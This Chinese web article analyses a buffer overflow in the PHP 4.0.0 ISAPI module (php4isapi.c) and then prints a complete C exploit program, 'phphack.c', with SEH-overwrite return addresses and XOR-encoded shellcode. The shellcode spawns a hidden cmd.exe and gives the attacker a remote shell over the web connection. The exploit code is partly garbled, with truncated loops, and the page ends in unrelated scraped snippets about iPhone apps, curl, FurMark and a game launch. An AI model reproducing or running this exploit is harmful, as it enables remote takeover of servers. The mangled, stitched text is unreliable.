php4.0.0远程溢出源代码分析与测试程序_PHP
hp4.0.0才出来的时候,我们测试发现php4isasp.dll有缓冲溢出漏洞,下面是php4isapi.c的相关源代码:
static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC)
{
char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE];
char *variable_buf;
DWORD variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable;
char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB;
char **p = isapi_server_variables;
lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);
/* Register the standard ISAPI variables */
while (*p) {
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len)
&& static_variable_buf[0]) {
php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC);
} else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len)
&& variable_buf[0]) {
php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC);
}
efree(variable_buf);
}
p++;
}
/* PHP_SELF support */
#ifdef WITH_ZEUS
if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len)
#else
if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)
/* php4.0.0漏洞所在地,缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量 */
/* php4.0.3 已经修补 */
#endif
&& static_variable_buf[0]) {
php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);
/*
因为形参被覆盖,而这形参又很难伪造,所以传统的溢出攻击因为这个调用不能返回而无效
但我们可以使用异常结构攻击,可以参见我的相关的文章
*/
}
/* Register the internal bits of ALL_HTTP */
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) {
variable_buf = static_variable_buf;
} else {
if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) {
efree(variable_buf);
return;
}
} else {
return;
}
}
variable = php_strtok_r(variable_buf, "\r\n", &strtok_buf);
while (variable) {
char *colon = strchr(variable, ':');
if (colon) {
char *value = colon+1;
while (*value==' ') {
value++;
}
*colon = 0;
php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC);
*colon = ':';
}
variable = php_strtok_r(NULL, "\r\n", &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
efree(variable_buf);
}
}
因为形参的问题,采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一,可能需要根据被攻击系统的WINDOWS版本调整相关参数。具体攻击测试代码:
/*
php4.0 overflow program phphack.c ver 1.0
copy by yuange
*/
#include
#include
#include
#include
// #define DEBUG
//#define RETEIPADDR eipwin2000
#define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90
#define NOPLONG 0x3c
#define BUFFSIZE 0x20000
#define RETEIPADDRESS 0x900+4
#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 9
#define DATAXORCODE 0xAA
#define LOCKBIGNUM 19999999
#define LOCKBIGNUM2 13579139
#define SHELLPORT 0x1f90 //0x1f90=8080
#define WEBPORT 80
void shellcodefnlock();
void shellcodefn(char *ecb);
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str="LoadLibraryA""\x0""CreatePipe""\x0"
"CreateProcessA""\x0""CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0""WriteFile""\x0"
"Sleep""\x0"
"cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
"XORDATA""\x0"
"strend";
char buff1[]="GET /default.php4";
char buff2[]=" HTTP/1.1 \nHOST:";
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char SRLF[]="\x0d\x0a\x00\x00";
char eipjmpesp[] ="\xb7\x0e\xfa\x7f";
// push esp
// ret
char eipexcept[]="\xb8\x0e\xfa\x7F";
// ret
char eipjmpesi[]="\x08\x88\xfa\x7F";
char eipjmpedi[]="\xbe\x8b\xfa\x7F";
char eipjmpebx[]="\x73\x67\xfa\x7F";
// push ebx
// ret
/*
jmp ebx功能代码地址, 中文WINNT、中文WIN2000此地址固定
这是处于c_936.nls模块
win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。
*/
char buff[BUFFSIZE];
char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
// unsigned
int i,j,k;
unsigned char temp;
int fd;
u_short port,port1,shellcodeport;
SOCKET d_ip;
WSADATA wsaData;
int offset=0;
int xordatabegin;
int lockintvar1,lockintvar2;
char lockcharvar;
int OVERADD=RETEIPADDRESS;
int result;
fprintf(stderr,"\n PHP4.0 FOR WIN32 OVERFLOW PROGRAM 2.0 .");
fprintf(stderr,"\n copy by yuange 2000.8.16.");
fprintf(stderr,"\n wellcome to my homepage http://yuange.yeah.net .");
fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
fprintf(stderr,"\n usage: %s
if(argc fprintf(stderr,"\n please enter the web server:");
gets(recvbuff);
for(i=0;i
}
server=recvbuff;
if(i
fprintf(stderr,"\n please enter the offset(0-3):");
gets(buff);
for(i=0;i
}
offset=atoi(buff+i);
*/
}
result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
/*
if(argc>2){
offset=atoi(argv[2]);
}
OVERADD+=offset;
if(offset3){
fprintf(stderr,"\n offset error !offset 0 - 3 .");
gets(buff);
exit(1);
}
*/
if(argc // WSACleanup( );
// exit(1);
}
else server = argv[1];
for(i=0;i
break;
}
if(i
for(i=0;i+3
if(server[i]==':'){
if(server[i+1]=='\\'||server[i+1]=='/'){
if(server[i+2]=='\\'||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
}
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
gets(buff);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port=atoi(argv[2]);
else port=WEBPORT;
if(port==0) port=WEBPORT;
fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n connect err.");
gets(buff);
exit(1);
}
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memset(buff,NOPCODE,BUFFSIZE);
if(argc>4){
memcpy(buff,argv[4],strlen(argv[4]));
}
else memcpy(buff,buff1,strlen(buff1));
// strcpy(buff,buff1);
// memset(buff+strlen(buff),NOPCODE,1);
memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
// memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i if(memcmp(str+i,"strend",6)==0) break;
}
memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i;
for(k=0;k if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
}
for(i=0;i
temp^=DATAXORCODE;
if(temp buff[OVERADD+NOPLONG+k]='0';
// buff[NOPLONG+k]='0';
++k;
temp+=0x40;
}
buff[OVERADD+NOPLONG+k]=temp;
// buff[NOPLONG+k]=temp;
++k;
}
// memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong);
// k+=sendpacketlong;
/*
for(i=-0x30;i memcpy(buff+OVERADD+i,eipexcept,4);
}
memcpy(buff+OVERADD+i,eipjmpesp,4);
*/
for(i=-40;i memcpy(buff+OVERADD+i,"\x42\x42\x42\x2D",4);
memcpy(buff+OVERADD+i+4,eipjmpebx,4);
}
memcpy(buff+OVERADD+i+8,"\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42",24);
// fprintf(stderr,"\n offset:%d",offset);
/*
192.168.8.48
if(argc>2){
server=argv[2];
if(strcmp(server,"win9x")==0){
memcpy(buff+OVERADD,eipwin9x,4);
fprintf(stderr,"\n nuke win9x.");
}
if(strcmp(server,"winnt")==0){
memcpy(buff+OVERADD,eipwinnt,4);
fprintf(stderr,"\n nuke winnt.");
}
}
*/
sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;
strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,"\n\n");
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4);
}
memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);
strcpy(buff+sendpacketlong+OVERADD+i+4,"\xff\x63\x64");
strcpy(buff+sendpacketlong+OVERADD+i+20,"\n\n");
*/
// printf("\n send buff:\n%s",buff);
// strcpy(buff+OVERADD+NOPLONG,shellcode);
sendpacketlong=strlen(buff);
/*
#ifdef DEBUG
_asm{
lea esp,buff
add esp,OVERADD
ret
}
#endif
*/
if(argc>6) {
if(strcmp(argv[6],"debug")==0) {
_asm{
lea esp,buff
add esp,OVERADD
ret
}
}
}
xordatabegin=0;
for(i=0;i j=sendpacketlong;
fprintf(stderr,"\n send packet %d bytes.",j);
// fprintf(stderr,"\n sned:\n%s ",buff);
send(fd,buff,j,0);
k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
fprintf(stderr,"\n ok!\n");
}
if(k>0){
recvbuff[k]=0;
fprintf(stderr,"\n recv:\n %s",recvbuff);
}
}
k=1;
ioctlsocket(fd, FIONBIO, &k);
// fprintf(stderr,"\n now begin: \n");
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
/*
for(i=0;i
}
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
*/
k=1;
while(k!=0){
if(k gets(buff);
k=strlen(buff);
memcpy(buff+k,SRLF,3);
// send(fd,SRLF,strlen(SRLF),0);
// fprintf(stderr,"%s",buff);
for(i=0;i
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
// buff[i]^=DATAXORCODE;
}
send(fd,buff,k+2,0);
// send(fd,SRLF,strlen(SRLF),0);
}
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
}
if(k>0){
// fprintf(stderr,"recv %d bytes",k);
if(xordatabegin==1){
for(i=0;i
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
}
}
buff[k]=0;
fprintf(stderr,"%s",buff);
}
// if(k==0) break;
}
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n the server close connect.");
gets(buff);
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
_emit('.')
_emit('p')
_emit('h')
_emit('p')
_emit('4')
_emit('?')
jmp next
getediadd: pop EDI
push EDI
pop ESI
push ebx // ecb
push ebx // call shellcodefn ret address
xor ecx,ecx
looplock: lodsb
cmp al,cl
jz shell
cmp al,0x30
jz clean0
sto: xor al,DATAXORCODE
stosb
jmp looplock
clean0: lodsb
sub al,0x40
jmp sto
next: call getediadd
shell: NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void shellcodefn(char *ecb)
{ char Buff[SHELLBUFFSIZE+2];
int *except[2];
FARPROC Sleepadd;
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
FARPROC procgetadd=0;
FARPROC writeclient= *(int *)(ecb+0x84);
FARPROC readclient = *(int *)(ecb+0x88);
HCONN ConnID = *(int *)(ecb+8) ;
char *stradd;
int imgbase,fnbase,k,l;
HANDLE libhandle; //libwsock32;
STARTUPINFO siinfo;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
int lBytesRead;
int lockintvar1,lockintvar2;
char lockcharvar;
SECURITY_ATTRIBUTES sa;
_asm { jmp nextcall
getstradd: pop stradd
lea EDI,except
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase imgbase+=0x10000;
if(imgbase==0x78000000) imgbase=0xbff00000;
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
{
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
//注意这儿处理了搜索页面不在情况。
if(procgetadd==0) goto die ;
for(k=1;k
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
// ZeroMemory(&siinfo,sizeof(siinfo));
_asm{
lea EDI,siinfo
xor eax,eax
mov ecx,0x11
repnz stosd
}
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput=hWritePipe1;
siinfo.hStdError =hWritePipe1;
k=0;
// while(k==0)
// {
k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
stradd+=8;
// }
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
k=8;
writeclient(ConnID,stradd+9,&k,0);
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
while(1) {
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
if(lBytesRead>0) {
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead>0) {
for(k=0;k
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
}
}
else{
lBytesRead=SHELLBUFFSIZE;
k=readclient(ConnID,Buff,&lBytesRead);
if(k!=1){
k=8;
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
while(1){
Sleepadd(0x7fffffff); //僵死
}
}
else{
for(k=0;k
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
// Sleepadd(1000);
}
}
}
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
xor eax,eax //2
ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;
for(i=0;i
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}

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The default map on the iPhone is Maps, Apple's proprietary geolocation provider. Although the map is getting better, it doesn't work well outside the United States. It has nothing to offer compared to Google Maps. In this article, we discuss the feasible steps to use Google Maps to become the default map on your iPhone. How to Make Google Maps the Default Map in iPhone Setting Google Maps as the default map app on your phone is easier than you think. Follow the steps below – Prerequisite steps – You must have Gmail installed on your phone. Step 1 – Open the AppStore. Step 2 – Search for “Gmail”. Step 3 – Click next to Gmail app

Windows Remote Desktop Service allows users to access computers remotely, which is very convenient for people who need to work remotely. However, problems can be encountered when users cannot connect to the remote computer or when Remote Desktop cannot authenticate the computer's identity. This may be caused by network connection issues or certificate verification failure. In this case, the user may need to check the network connection, ensure that the remote computer is online, and try to reconnect. Also, ensuring that the remote computer's authentication options are configured correctly is key to resolving the issue. Such problems with Windows Remote Desktop Services can usually be resolved by carefully checking and adjusting settings. Remote Desktop cannot verify the identity of the remote computer due to a time or date difference. Please make sure your calculations

In C language, if statement is usually used to execute a specific block of code based on a single condition. However, multiple conditions can be combined to make a determination using logical operators such as &&, ||, and !. Including using logical AND (&&) to judge multiple conditions, using logical OR (||) to judge at least one condition, using logical NOT (!) to judge the negation of a single condition, as well as nesting if statements and using parentheses to clarify priority.

To update the curl version under Linux, you can follow the steps below: Check the current curl version: First, you need to determine the curl version installed in the current system. Open a terminal and execute the following command: curl --version This command will display the current curl version information. Confirm available curl version: Before updating curl, you need to confirm the latest version available. You can visit curl's official website (curl.haxx.se) or related software sources to find the latest version of curl. Download the curl source code: Using curl or a browser, download the source code file for the curl version of your choice (usually .tar.gz or .tar.bz2

Is the clock app missing from your phone? The date and time will still appear on your iPhone's status bar. However, without the Clock app, you won’t be able to use world clock, stopwatch, alarm clock, and many other features. Therefore, fixing missing clock app should be at the top of your to-do list. These solutions can help you resolve this issue. Fix 1 – Place the Clock App If you mistakenly removed the Clock app from your home screen, you can put the Clock app back in its place. Step 1 – Unlock your iPhone and start swiping to the left until you reach the App Library page. Step 2 – Next, search for “clock” in the search box. Step 3 – When you see “Clock” below in the search results, press and hold it and

What do you think of furmark? 1. Set the "Run Mode" and "Display Mode" in the main interface, and also adjust the "Test Mode" and click the "Start" button. 2. After waiting for a while, you will see the test results, including various parameters of the graphics card. How is furmark qualified? 1. Use a furmark baking machine and check the results for about half an hour. It basically hovers around 85 degrees, with a peak value of 87 degrees and room temperature of 19 degrees. Large chassis, 5 chassis fan ports, two on the front, two on the top, and one on the rear, but only one fan is installed. All accessories are not overclocked. 2. Under normal circumstances, the normal temperature of the graphics card should be between "30-85℃". 3. Even in summer when the ambient temperature is too high, the normal temperature is "50-85℃

Are you getting "Unable to allow access to camera and microphone" when trying to use the app? Typically, you grant camera and microphone permissions to specific people on a need-to-provide basis. However, if you deny permission, the camera and microphone will not work and will display this error message instead. Solving this problem is very basic and you can do it in a minute or two. Fix 1 – Provide Camera, Microphone Permissions You can provide the necessary camera and microphone permissions directly in settings. Step 1 – Go to the Settings tab. Step 2 – Open the Privacy & Security panel. Step 3 – Turn on the “Camera” permission there. Step 4 – Inside, you will find a list of apps that have requested permission for your phone’s camera. Step 5 – Open the “Camera” of the specified app

The "Inaction Test" of the new fantasy fairy MMORPG "Zhu Xian 2" will be launched on April 23. What kind of new fairy adventure story will happen in Zhu Xian Continent thousands of years after the original work? The Six Realm Immortal World, a full-time immortal academy, a free immortal life, and all kinds of fun in the immortal world are waiting for the immortal friends to explore in person! The "Wuwei Test" pre-download is now open. Fairy friends can go to the official website to download. You cannot log in to the game server before the server is launched. The activation code can be used after the pre-download and installation is completed. "Zhu Xian 2" "Inaction Test" opening hours: April 23 10:00 - May 6 23:59 The new fairy adventure chapter of the orthodox sequel to Zhu Xian "Zhu Xian 2" is based on the "Zhu Xian" novel as a blueprint. Based on the world view of the original work, the game background is set
